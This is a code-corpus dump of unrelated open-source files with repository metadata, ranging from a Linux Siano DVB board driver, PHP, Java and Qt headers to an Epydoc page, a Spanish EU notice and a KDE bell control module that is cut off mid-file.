#include "sms-cards.h" #include "smsir.h" static int sms_dbg; module_param_named(cards_dbg, sms_dbg, int, 0644); MODULE_PARM_DESC(cards_dbg, "set debug level (info=1, adv=2 (or-able))"); static struct sms_board sms_boards[] = { [SMS_BOARD_UNKNOWN] = { .name = "Unknown board", }, [SMS1XXX_BOARD_SIANO_STELLAR] = { .name = "Siano Stellar Digital Receiver", .type = SMS_STELLAR, }, [SMS1XXX_BOARD_SIANO_NOVA_A] = { .name = "Siano Nova A Digital Receiver", .type = SMS_NOVA_A0, }, [SMS1XXX_BOARD_SIANO_NOVA_B] = { .name = "Siano Nova B Digital Receiver", .type = SMS_NOVA_B0, }, [SMS1XXX_BOARD_SIANO_VEGA] = { .name = "Siano Vega Digital Receiver", .type = SMS_VEGA, }, [SMS1XXX_BOARD_HAUPPAUGE_CATAMOUNT] = { .name = "Hauppauge Catamount", .type = SMS_STELLAR, .fw[DEVICE_MODE_DVBT_BDA] = "sms1xxx-stellar-dvbt-01.fw", }, [SMS1XXX_BOARD_HAUPPAUGE_OKEMO_A] = { .name = "Hauppauge Okemo-A", .type = SMS_NOVA_A0, .fw[DEVICE_MODE_DVBT_BDA] = "sms1xxx-nova-a-dvbt-01.fw", }, [SMS1XXX_BOARD_HAUPPAUGE_OKEMO_B] = { .name = "Hauppauge Okemo-B", .type = SMS_NOVA_B0, .fw[DEVICE_MODE_DVBT_BDA] = "sms1xxx-nova-b-dvbt-01.fw", }, [SMS1XXX_BOARD_HAUPPAUGE_WINDHAM] = { .name = "Hauppauge WinTV MiniStick", .type = SMS_NOVA_B0, .fw[DEVICE_MODE_DVBT_BDA] = "sms1xxx-hcw-55xxx-dvbt-02.fw", .board_cfg.leds_power = 26, .board_cfg.led0 = 27, .board_cfg.led1 = 28, .led_power = 26, .led_lo = 27, .led_hi = 28, }, [SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD] = { .name = "Hauppauge WinTV MiniCard", .type = SMS_NOVA_B0, .fw[DEVICE_MODE_DVBT_BDA] = "sms1xxx-hcw-55xxx-dvbt-02.fw", .lna_ctrl = 29, .board_cfg.foreign_lna0_ctrl = 29, .rf_switch = 17, .board_cfg.rf_switch_uhf = 17, }, [SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD_R2] = { .name = "Hauppauge WinTV MiniCard", .type = SMS_NOVA_B0, .fw[DEVICE_MODE_DVBT_BDA] = "sms1xxx-hcw-55xxx-dvbt-02.fw", .lna_ctrl = -1, }, [SMS1XXX_BOARD_SIANO_NICE] = { .name = "Siano Nice Digital Receiver", .type = SMS_NOVA_B0, }, [SMS1XXX_BOARD_SIANO_VENICE] = { .name = "Siano Venice Digital Receiver", .type = SMS_VEGA, }, }; struct sms_board *sms_get_board(int id) { BUG_ON(id >= ARRAY_SIZE(sms_boards)); return &sms_boards[id]; } EXPORT_SYMBOL_GPL(sms_get_board); static inline void sms_gpio_assign_11xx_default_led_config( struct smscore_gpio_config *pGpioConfig) { pGpioConfig->Direction = SMS_GPIO_DIRECTION_OUTPUT; pGpioConfig->InputCharacteristics = SMS_GPIO_INPUT_CHARACTERISTICS_NORMAL; pGpioConfig->OutputDriving = SMS_GPIO_OUTPUT_DRIVING_4mA; pGpioConfig->OutputSlewRate = SMS_GPIO_OUTPUT_SLEW_RATE_0_45_V_NS; pGpioConfig->PullUpDown = SMS_GPIO_PULL_UP_DOWN_NONE; } int sms_board_event(struct smscore_device_t *coredev, enum SMS_BOARD_EVENTS gevent) { struct smscore_gpio_config MyGpioConfig; sms_gpio_assign_11xx_default_led_config(&MyGpioConfig); switch (gevent) { case BOARD_EVENT_POWER_INIT: break; case BOARD_EVENT_POWER_SUSPEND: break; case BOARD_EVENT_POWER_RESUME: break; case BOARD_EVENT_BIND: break; case BOARD_EVENT_SCAN_PROG: break; case BOARD_EVENT_SCAN_COMP: break; case BOARD_EVENT_EMERGENCY_WARNING_SIGNAL: break; case BOARD_EVENT_FE_LOCK: break; case BOARD_EVENT_FE_UNLOCK: break; case BOARD_EVENT_DEMOD_LOCK: break; case BOARD_EVENT_DEMOD_UNLOCK: break; case BOARD_EVENT_RECEPTION_MAX_4: break; case BOARD_EVENT_RECEPTION_3: break; case BOARD_EVENT_RECEPTION_2: break; case BOARD_EVENT_RECEPTION_1: break; case BOARD_EVENT_RECEPTION_LOST_0: break; case BOARD_EVENT_MULTIPLEX_OK: break; case BOARD_EVENT_MULTIPLEX_ERRORS: break; default: sms_err("Unknown SMS board event"); break; } return 0; } EXPORT_SYMBOL_GPL(sms_board_event); static int sms_set_gpio(struct smscore_device_t *coredev, int pin, int enable) { int lvl, ret; u32 gpio; struct smscore_config_gpio gpioconfig = { .direction = SMS_GPIO_DIRECTION_OUTPUT, .pullupdown = SMS_GPIO_PULLUPDOWN_NONE, .inputcharacteristics = SMS_GPIO_INPUTCHARACTERISTICS_NORMAL, .outputslewrate = SMS_GPIO_OUTPUTSLEWRATE_FAST, .outputdriving = SMS_GPIO_OUTPUTDRIVING_4mA, }; if (pin == 0) return -EINVAL; if (pin < 0) { gpio = pin * -1; lvl = enable ? 0 : 1; } else { gpio = pin; lvl = enable ? 1 : 0; } ret = smscore_configure_gpio(coredev, gpio, &gpioconfig); if (ret < 0) return ret; return smscore_set_gpio(coredev, gpio, lvl); } int sms_board_setup(struct smscore_device_t *coredev) { int board_id = smscore_get_board_id(coredev); struct sms_board *board = sms_get_board(board_id); switch (board_id) { case SMS1XXX_BOARD_HAUPPAUGE_WINDHAM: sms_set_gpio(coredev, board->led_power, 0); sms_set_gpio(coredev, board->led_hi, 0); sms_set_gpio(coredev, board->led_lo, 0); break; case SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD_R2: case SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD: sms_set_gpio(coredev, board->lna_ctrl, 0); break; } return 0; } EXPORT_SYMBOL_GPL(sms_board_setup); int sms_board_power(struct smscore_device_t *coredev, int onoff) { int board_id = smscore_get_board_id(coredev); struct sms_board *board = sms_get_board(board_id); switch (board_id) { case SMS1XXX_BOARD_HAUPPAUGE_WINDHAM: sms_set_gpio(coredev, board->led_power, onoff ? 1 : 0); break; case SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD_R2: case SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD: if (!onoff) sms_set_gpio(coredev, board->lna_ctrl, 0); break; } return 0; } EXPORT_SYMBOL_GPL(sms_board_power); int sms_board_led_feedback(struct smscore_device_t *coredev, int led) { int board_id = smscore_get_board_id(coredev); struct sms_board *board = sms_get_board(board_id); if (smscore_led_state(coredev, -1) == led) return 0; switch (board_id) { case SMS1XXX_BOARD_HAUPPAUGE_WINDHAM: sms_set_gpio(coredev, board->led_lo, (led & SMS_LED_LO) ? 1 : 0); sms_set_gpio(coredev, board->led_hi, (led & SMS_LED_HI) ? 1 : 0); smscore_led_state(coredev, led); break; } return 0; } EXPORT_SYMBOL_GPL(sms_board_led_feedback); int sms_board_lna_control(struct smscore_device_t *coredev, int onoff) { int board_id = smscore_get_board_id(coredev); struct sms_board *board = sms_get_board(board_id); sms_debug("%s: LNA %s", __func__, onoff ? "enabled" : "disabled"); switch (board_id) { case SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD_R2: case SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD: sms_set_gpio(coredev, board->rf_switch, onoff ? 1 : 0); return sms_set_gpio(coredev, board->lna_ctrl, onoff ? 1 : 0); } return -EINVAL; } EXPORT_SYMBOL_GPL(sms_board_lna_control); int sms_board_load_modules(int id) { switch (id) { case SMS1XXX_BOARD_HAUPPAUGE_CATAMOUNT: case SMS1XXX_BOARD_HAUPPAUGE_OKEMO_A: case SMS1XXX_BOARD_HAUPPAUGE_OKEMO_B: case SMS1XXX_BOARD_HAUPPAUGE_WINDHAM: request_module("smsdvb"); break; default: break; } return 0; } EXPORT_SYMBOL_GPL(sms_board_load_modules);
leemgs/OptimusOneKernel-KandroidCommunity
drivers/media/dvb/siano/sms-cards.c
C
gpl-2.0
7,044
<?php namespace xelioplus\loginapi\acp; class loginapi_info { public function module() { return array( 'filename' => '\xelioplus\loginapi\acp\loginapi_module', 'title' => 'ACP_LOGINAPI_TITLE', 'version' => '0.1.0', 'modes' => array( 'settings' => array('title' => 'ACP_LOGINAPI', 'auth' => 'ext_xelioplus/loginapi && acl_a_board', 'cat' => array('ACP_LOGINAPI_TITLE')), ), ); } }
xelio-plus/phpbb-ext-loginapi
acp/loginapi_info.php
PHP
gpl-2.0
509
<?xml version="1.0" encoding="ascii"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>Identifier Index</title> <link rel="stylesheet" href="epydoc.css" type="text/css" /> <script type="text/javascript" src="epydoc.js"></script> </head> <body bgcolor="white" text="black" link="blue" vlink="#204080" alink="#204080"> <!-- ==================== NAVIGATION BAR ==================== --> <table class="navbar" border="0" width="100%" cellpadding="0" bgcolor="#a0c0ff" cellspacing="0"> <tr valign="middle"> <!-- Home link --> <th>&nbsp;&nbsp;&nbsp;<a href="simple_flask_blueprint-module.html">Home</a>&nbsp;&nbsp;&nbsp;</th> <!-- Tree link --> <th>&nbsp;&nbsp;&nbsp;<a href="module-tree.html">Trees</a>&nbsp;&nbsp;&nbsp;</th> <!-- Index link --> <th bgcolor="#70b0f0" class="navbar-select" >&nbsp;&nbsp;&nbsp;Indices&nbsp;&nbsp;&nbsp;</th> <!-- Help link --> <th>&nbsp;&nbsp;&nbsp;<a href="help.html">Help</a>&nbsp;&nbsp;&nbsp;</th> <!-- Project homepage --> <th class="navbar" align="right" width="100%"> <table border="0" cellpadding="0" cellspacing="0"> <tr><th class="navbar" align="center" ><a class="navbar" target="_top" href="https://github.com/Kalimaha/simple_flask_blueprint">Simple Flask Blueprint</a></th> </tr></table></th> </tr> </table> <table width="100%" cellpadding="0" cellspacing="0"> <tr valign="top"> <td width="100%">&nbsp;</td> <td> <table cellpadding="0" cellspacing="0"> <!-- hide/show private --> <tr><td align="right"><span class="options">[<a href="javascript:void(0);" class="privatelink" onclick="toggle_private();">hide&nbsp;private</a>]</span></td></tr> <tr><td align="right"><span class="options" >[<a href="frames.html" target="_top">frames</a >]&nbsp;|&nbsp;<a href="identifier-index.html" target="_top">no&nbsp;frames</a>]</span></td></tr> </table> </td> </tr> </table> <table border="0" width="100%"> <tr valign="bottom"><td> <h1 class="epydoc">Identifier Index</h1> </td><td> [ A <a href="#B">B</a> <a href="#C">C</a> D E F G H I J K L M N O P Q <a href="#R">R</a> <a href="#S">S</a> T U V W X Y Z <a href="#_">_</a> ] </td></table> <table border="0" width="100%"> <tr valign="top"><td valign="top" width="1%"><h2 class="epydoc"><a name="B">B</a></h2></td> <td valign="top"> <table class="link-index" width="100%" border="1"> <tr> <td width="33%" class="link-index"><a href="simple_flask_blueprint.core.blueprint_core-module.html">blueprint_core</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint.core-module.html">simple_flask_blueprint.core</a>)</span></td> <td width="33%" class="link-index"><a href="simple_flask_blueprint.rest.blueprint_rest-module.html">blueprint_rest</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint.rest-module.html">simple_flask_blueprint.rest</a>)</span></td> <td width="33%" class="link-index"><a href="simple_flask_blueprint.rest.blueprint_rest-module.html#bp">bp</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint.rest.blueprint_rest-module.html">simple_flask_blueprint.rest.blueprint_rest</a>)</span></td> </tr> <tr><td class="link-index">&nbsp;</td><td class="link-index">&nbsp;</td><td class="link-index">&nbsp;</td></tr> </table> </td></tr> <tr valign="top"><td valign="top" width="1%"><h2 class="epydoc"><a name="C">C</a></h2></td> <td valign="top"> <table class="link-index" width="100%" border="1"> <tr> <td width="33%" class="link-index"><a href="simple_flask_blueprint.core-module.html">core</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint-module.html">simple_flask_blueprint</a>)</span></td> <td width="33%" class="link-index">&nbsp;</td> <td width="33%" class="link-index">&nbsp;</td> </tr> <tr><td class="link-index">&nbsp;</td><td class="link-index">&nbsp;</td><td class="link-index">&nbsp;</td></tr> </table> </td></tr> <tr valign="top"><td valign="top" width="1%"><h2 class="epydoc"><a name="R">R</a></h2></td> <td valign="top"> <table class="link-index" width="100%" border="1"> <tr> <td width="33%" class="link-index"><a href="simple_flask_blueprint.rest-module.html">rest</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint-module.html">simple_flask_blueprint</a>)</span></td> <td width="33%" class="link-index">&nbsp;</td> <td width="33%" class="link-index">&nbsp;</td> </tr> <tr><td class="link-index">&nbsp;</td><td class="link-index">&nbsp;</td><td class="link-index">&nbsp;</td></tr> </table> </td></tr> <tr valign="top"><td valign="top" width="1%"><h2 class="epydoc"><a name="S">S</a></h2></td> <td valign="top"> <table class="link-index" width="100%" border="1"> <tr> <td width="33%" class="link-index"><a href="simple_flask_blueprint.core.blueprint_core-module.html#say_hallo">say_hallo()</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint.core.blueprint_core-module.html">simple_flask_blueprint.core.blueprint_core</a>)</span></td> <td width="33%" class="link-index"><a href="simple_flask_blueprint.rest.blueprint_rest-module.html#say_hallo_to_guest_service">say_hallo_to_guest_service()</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint.rest.blueprint_rest-module.html">simple_flask_blueprint.rest.blueprint_rest</a>)</span></td> <td width="33%" class="link-index">&nbsp;</td> </tr> <tr> <td width="33%" class="link-index"><a href="simple_flask_blueprint.rest.blueprint_rest-module.html#say_hallo_service">say_hallo_service()</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint.rest.blueprint_rest-module.html">simple_flask_blueprint.rest.blueprint_rest</a>)</span></td> <td width="33%" class="link-index"><a href="simple_flask_blueprint-module.html">simple_flask_blueprint</a></td> <td width="33%" class="link-index">&nbsp;</td> </tr> </table> </td></tr> <tr valign="top"><td valign="top" width="1%"><h2 class="epydoc"><a name="_">_</a></h2></td> <td valign="top"> <table class="link-index" width="100%" border="1"> <tr> <td width="33%" class="link-index"><a href="simple_flask_blueprint-module.html#__email__">__email__</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint-module.html">simple_flask_blueprint</a>)</span></td> <td width="33%" class="link-index"><a href="simple_flask_blueprint-module.html#__package__">__package__</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint-module.html">simple_flask_blueprint</a>)</span></td> <td width="33%" class="link-index"><a href="simple_flask_blueprint.rest-module.html#__package__">__package__</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint.rest-module.html">simple_flask_blueprint.rest</a>)</span></td> </tr> <tr> <td width="33%" class="link-index"><a href="simple_flask_blueprint.core-module.html#__email__">__email__</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint.core-module.html">simple_flask_blueprint.core</a>)</span></td> <td width="33%" class="link-index"><a href="simple_flask_blueprint.core-module.html#__package__">__package__</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint.core-module.html">simple_flask_blueprint.core</a>)</span></td> <td width="33%" class="link-index"><a href="simple_flask_blueprint.rest.blueprint_rest-module.html#__package__">__package__</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint.rest.blueprint_rest-module.html">simple_flask_blueprint.rest.blueprint_rest</a>)</span></td> </tr> <tr> <td width="33%" class="link-index"><a href="simple_flask_blueprint.rest-module.html#__email__">__email__</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint.rest-module.html">simple_flask_blueprint.rest</a>)</span></td> <td width="33%" class="link-index"><a href="simple_flask_blueprint.core.blueprint_core-module.html#__package__">__package__</a><br /> <span class="index-where">(in&nbsp;<a href="simple_flask_blueprint.core.blueprint_core-module.html">simple_flask_blueprint.core.blueprint_core</a>)</span></td> <td width="33%" class="link-index">&nbsp;</td> </tr> </table> </td></tr> </table> <br /><br /><!-- ==================== NAVIGATION BAR ==================== --> <table class="navbar" border="0" width="100%" cellpadding="0" bgcolor="#a0c0ff" cellspacing="0"> <tr valign="middle"> <!-- Home link --> <th>&nbsp;&nbsp;&nbsp;<a href="simple_flask_blueprint-module.html">Home</a>&nbsp;&nbsp;&nbsp;</th> <!-- Tree link --> <th>&nbsp;&nbsp;&nbsp;<a href="module-tree.html">Trees</a>&nbsp;&nbsp;&nbsp;</th> <!-- Index link --> <th bgcolor="#70b0f0" class="navbar-select" >&nbsp;&nbsp;&nbsp;Indices&nbsp;&nbsp;&nbsp;</th> <!-- Help link --> <th>&nbsp;&nbsp;&nbsp;<a href="help.html">Help</a>&nbsp;&nbsp;&nbsp;</th> <!-- Project homepage --> <th class="navbar" align="right" width="100%"> <table border="0" cellpadding="0" cellspacing="0"> <tr><th class="navbar" align="center" ><a class="navbar" target="_top" href="https://github.com/Kalimaha/simple_flask_blueprint">Simple Flask Blueprint</a></th> </tr></table></th> </tr> </table> <table border="0" cellpadding="0" cellspacing="0" width="100%%"> <tr> <td align="left" class="footer"> Generated by Epydoc 3.0.1 on Thu Jul 2 14:48:49 2015 </td> <td align="right" class="footer"> <a target="mainFrame" href="http://epydoc.sourceforge.net" >http://epydoc.sourceforge.net</a> </td> </tr> </table> <script type="text/javascript"> <!-- // Private objects are initially displayed (because if // javascript is turned off then we want them to be // visible); but by default, we want to hide them. So hide // them unless we have a cookie that says to show them. checkCookie(); // --> </script> </body> </html>
Kalimaha/simple_flask_blueprint
docs/identifier-index.html
HTML
gpl-2.0
10,233
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta name="DC.type" http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body> <head>Anuncio de expiraci%oacute%n de medidas compensatorias</head> <div type="body"> <p>Anuncio de expiración de medidas compensatorias</p> <p>(2005/C 232/02)</p> <p>No habiéndose recibido ninguna solicitud de reconsideración tras la publicación del anuncio de su inminente expiración [1], la Comisión comunica que las medidas compensatorias abajo mencionadas expirarán próximamente.</p> <p>El presente anuncio se publica, con arreglo al apartado 4 del artículo 18 del Reglamento (CE) no 2026/97 del Consejo de 6 de octubre de 1997 [2], sobre defensa contra las importaciones subvencionadas originarias de países no miembros de la Comunidad Europea.</p> <p>Producto | País(es) de origen o de exportación | Medida | Referencia | Fecha de expiración |</p> <p>Caucho termoplástico de estireno-butadieno-estireno | Taiwán | Derecho compensatorio | Reglamento (CE) no 1994/2000 del Consejo (DO L 238 de 22.9.2000, p. 8) | 23.9.2005 |</p> <p>[1] DO C 312 de 17.12.2004, p. 5.</p> <p>[2] DO L 288 de 21.10.1997, p. 1 ; Reglamento modificado por última vez por el Reglamento (CE) no 461/2004 del Consejo (DO L 77 de 13.3.2004, p. 12)</p> <p>--------------------------------------------------</p> </div> </body> </html>
varh1i/language_detection
src/main/resources/naacl2010-langid/EuroGOV/trn0819.html
HTML
gpl-2.0
1,502
/*************************************************************************** * Copyright (C) 2006 by Peter Komar * * markus_sksoft@mail.ru * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the * * Free Software Foundation, Inc., * * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * ***************************************************************************/ #ifndef LILOMAIN_H #define LILOMAIN_H #include "lilo.h" #include "editliloconf.h" #include <qtextedit.h> #include <qpushbutton.h> #include <qvbox.h> #include <qlabel.h> class liloMain: public lilo_view { Q_OBJECT public: liloMain(QWidget *parent = 0, const char *name = 0); ~liloMain(); static QString get_locale(); public slots: void slotEditItem(QListViewItem* ); public slots: virtual void slotSetParameter(); virtual void slotAddNewItem(); virtual void slotEditItem( ); virtual void slotRemoveItem(); virtual void helpAbout(); void fileExit(); virtual void helpIndex(); private slots: void slotEditItem(myMenuLiloData ,QString oldLabel); void slotNewItem(myMenuLiloData ); void slotClickTheme(QListBoxItem* ); void slotReadOut(QString ,int ); virtual void slotChangeTabs(int ); void slotClickFin(); public: EditLiloConf *conf; private: void loadData(); void init_connections(); void loadMenu(); QTextEdit *out_message; QPushButton *finishBtn; QLabel *tex_lab; QVBox *v_box; int b_win; private slots: void slotSelect(int ); protected: virtual void closeEvent ( QCloseEvent * ); }; #endif
peterkomar/sct
src/modules/lilo/src/lilomain.h
C
gpl-2.0
2,671
/******************************************************************************* * Copyright (C) 2015 Valentin Pogrebinsky * * mail:pva@isd.com.ua * https://github.com/bbones * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * GNU v2 license text in root directory of project *******************************************************************************/ package org.proto1.domain; import java.util.Date; import javax.persistence.Entity; import javax.persistence.Inheritance; import javax.persistence.InheritanceType; import javax.validation.constraints.NotNull; import org.springframework.format.annotation.DateTimeFormat; @Entity @Inheritance( strategy = InheritanceType.JOINED ) public class Document extends AbstractEntity { @NotNull private String documentNo; @DateTimeFormat(pattern = "DD.MM.YY") private Date issueDate; public String getDocumentNo() { return documentNo; } public void setDocumentNo(String documentNo) { this.documentNo = documentNo; } public Date getIssueDate() { return issueDate; } public void setIssueDate(Date issueDate) { this.issueDate = issueDate; } }
bbones/proto1
domain/src/main/java/org/proto1/domain/Document.java
Java
gpl-2.0
1,587
package de.juanah.trackingformybullentime.track; import de.juanah.communicationPakages.MDP; /** * Enthält die Funktionen um einen einfachen Track an den Server zu senden * @author jonas ahlf 21.09.2014 * */ public class SimpleTrack { public static SimpleTrackResult SendTrack(String userUUID,String time,double lat,double lon) { try { String dataString = userUUID + "<" + time + "<" + String.valueOf(lat) + ";" + String.valueOf(lon); de.juanah.trackingformybullentime.network.BaseHelper.SendPackage("track", new MDP(dataString.getBytes())); MDP revicedMDP = de.juanah.trackingformybullentime.network.BaseHelper.RecivePacket(); if (revicedMDP == null) { return new SimpleTrackResult(false,"Error"); } String test = new String(revicedMDP.getData()); if (test.equals("success")) { return new SimpleTrackResult(true,test); }else { return new SimpleTrackResult(false,test); } } catch (Exception e) { return new SimpleTrackResult(false, "ERROR! SendTrack"); } } public static GetSimpleTracksResult GetSimpleTracks(double lat,double lon) { try { String dataString = String.valueOf(lat) + ";" + String.valueOf(lon); de.juanah.trackingformybullentime.network.BaseHelper.SendPackage("getcoords", new MDP(dataString.getBytes())); MDP revicedMDP = de.juanah.trackingformybullentime.network.BaseHelper.RecivePacket(); String mdpString = new String(revicedMDP.getData()); GetSimpleTracksResult result = new GetSimpleTracksResult(); result.setDataString(mdpString); return result; } catch (Exception e) { return null; } } }
javerik/TFMBT
TrackingForMyBullenTime/src/de/juanah/trackingformybullentime/track/SimpleTrack.java
Java
gpl-2.0
1,653
package rsakeycenter; import java.math.BigInteger; import java.util.Random; public class KeyGenerator { public static final int keySize = 1024; private static final int minimum = 256; private BigInteger p, q, n, phi, d, e; public KeyGenerator(int keyLength) throws Exception{ if(keyLength < minimum){ throw new Exception("Key size must be " + minimum + " at least"); } p = BigInteger.probablePrime(keyLength / 2, new Random()); q = BigInteger.probablePrime(keyLength / 2, new Random()); n = p.multiply(q); phi = p.subtract(BigInteger.ONE).multiply(q.subtract(BigInteger.ONE)); do{ d = new BigInteger(keyLength - 2, new Random()); }while(d.gcd(phi).compareTo(BigInteger.ONE) != 0); e = d.modInverse(phi); } /** * @return the n */ public BigInteger getN() { return n; } /** * @return the d */ public BigInteger getD() { return d; } /** * @return the e */ public BigInteger getE() { return e; } }
adelnobel/RSA-Chat-Client
Projects/RSAKeyCenter/src/rsakeycenter/KeyGenerator.java
Java
gpl-2.0
1,112
<div ng-show="vm.devices.length"> <h1>Devices</h1> <p> <a ui-sref="devices.add" class="btn btn-primary" role="button">New Device</a> </p> <table class="table"> <tr> <th>ID</th> <th>Name</th> <th>Enabled</th> <th>Status</th> </tr> <tr ng-repeat="device in vm.devices"> <td> {{device.id}} </td> <td> <a href="#!/devices/{{device.id}}">{{device.name}}</a> </td> <td> {{ device.enabled ? 'Yes' : 'No' }} </td> <td> {{ device.status | statusToText }} </td> </tr> </table> </div> <div class="jumbotron" ng-show="!vm.devices.length"> <h1>Devices</h1> <p>You devices list is empty.</p> <p><a ui-sref="devices.add" class="btn btn-primary" role="button">Add new Device</a> </p> </div>
smartanthill/smartanthill2_0-dashboard
app/views/devices-list.html
HTML
gpl-2.0
817
/* Copyright (c) 1997 Christian Czezatke (e9025461@student.tuwien.ac.at) 1998 Bernd Wuebben <wuebben@kde.org> 2000 Matthias Elter <elter@kde.org> 2001 Carsten PFeiffer <pfeiffer@kde.org> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #include <QCheckBox> #include <QLayout> #include <QPushButton> //Added by qt3to4: #include <QVBoxLayout> #include <QHBoxLayout> #include <QGridLayout> #include <QBoxLayout> #include <QGroupBox> #include <kcmodule.h> #include <kaboutdata.h> #include <kapplication.h> #include <kconfig.h> #include <kdialog.h> #include <knotification.h> #include <klocale.h> #include <knuminput.h> #include "bell.h" #include "bell.moc" #include <X11/Xlib.h> #include <QX11Info> #include <kpluginfactory.h> #include <kpluginloader.h> K_PLUGIN_FACTORY(KBellConfigFactory, registerPlugin<KBellConfig>();) K_EXPORT_PLUGIN(KBellConfigFactory("kcmbell")) extern "C" { KDE_EXPORT void kcminit_bell() { XKeyboardState kbd; XKeyboardControl kbdc; XGetKeyboardControl(QX11Info::display(), &kbd); KConfig _config( "kcmbellrc", KConfig::CascadeConfig ); KConfigGroup config(&_config, "General"); kbdc.bell_percent = config.readEntry("Volume", kbd.bell_percent); kbdc.bell_pitch = config.readEntry("Pitch", kbd.bell_pitch); kbdc.bell_duration = config.readEntry("Duration", kbd.bell_duration); XChangeKeyboardControl(QX11Info::display(), KBBellPercent | KBBellPitch | KBBellDuration, &kbdc); } } KBellConfig::KBellConfig(QWidget *parent, const QVariantList &args): KCModule(KBellConfigFactory::componentData(), parent, args) { QBoxLayout *layout = new QVBoxLayout(this); layout->setMargin(0); layout->setSpacing(KDialog::spacingHint()); int row = 0; QGroupBox *box = new QGroupBox(i18n("Bell Settings"), this ); new QVBoxLayout( box ); layout->addWidget(box); layout->addStretch(); QGridLayout *grid = new QGridLayout(); grid->setSpacing( KDialog::spacingHint() ); box->layout()->addItem( grid ); grid->setColumnStretch(0, 0); grid->setColumnStretch(1, 1); grid->addItem(new QSpacerItem(30, 0), 0, 0); m_useBell = new QCheckBox( i18n("&Use system bell instead of system notification" ), box ); m_useBell->setWhatsThis( i18n("You can use the standard system bell (PC speaker) or a " "more sophisticated system notification, see the " "\"System Notifications\" control module for the " "\"Something Special Happened in the Program\" event.")); connect(m_useBell, SIGNAL( toggled( bool )), SLOT( useBell( bool ))); row++; grid->addWidget(m_useBell, row, 0, 1, 2 ); setQuickHelp( i18n("<h1>System Bell</h1> Here you can customize the sound of the standard system bell," " i.e. the \"beep\" you always hear when there is something wrong. Note that you can further" " customize this sound using the \"Accessibility\" control module; for example, you can choose" " a sound file to be played instead of the standard bell.")); m_volume = new KIntNumInput(50, box); m_volume->setLabel(i18n("&Volume:")); m_volume->setRange(0, 100, 5); m_volume->setSuffix("%"); m_volume->setSteps(5,25); grid->addWidget(m_volume, ++row, 1); m_volume->setWhatsThis( i18n("Here you can customize the volume of the system bell. For further" " customization of the bell, see the \"Accessibility\" control module.") ); m_pitch = new KIntNumInput(m_volume, 800, box); m_pitch->setLabel(i18n("&Pitch:")); m_pitch->setRange(20, 2000, 20); m_pitch->setSuffix(i18n(" Hz")); m_pitch->setSteps(40,200); grid->addWidget(m_pitch, ++row, 1); m_pitch->setWhatsThis( i18n("Here you can customize the pitch of the system bell. For further" " customization of the bell, see the \"Accessibility\" control module.") ); m_duration = new KIntNumInput(m_pitch, 100, box); m_duration->setLabel(i18n("&Duration:")); m_duration->setRange(1, 1000, 50); m_duration->setSuffix(i18n(" msec")); m_duration->setSteps(20,100); grid->addWidget(m_duration, ++row, 1); m_duration->setWhatsThis( i18n("Here you can customize the duration of the system bell. For further" " customization of the bell, see the \"Accessibility\" control module.") ); QBoxLayout *boxLayout = new QHBoxLayout(); m_testButton = new QPushButton(i18n("&Test"), box); m_testButton->setObjectName("test"); boxLayout->addWidget(m_testButton, 0, Qt::AlignRight); grid->addLayout( boxLayout, ++row, 1 ); connect( m_testButton, SIGNAL(clicked()), SLOT(ringBell())); m_testButton->setWhatsThis( i18n("Click \"Test\" to hear how the system bell will sound using your changed settings.") ); // watch for changes connect(m_volume, SIGNAL(valueChanged(int)), SLOT(changed())); connect(m_pitch, SIGNAL(valueChanged(int)), SLOT(changed())); connect(m_duration, SIGNAL(valueChanged(int)), SLOT(changed())); KAboutData *about = new KAboutData(I18N_NOOP("kcmbell"), 0, ki18n("KDE Bell Control 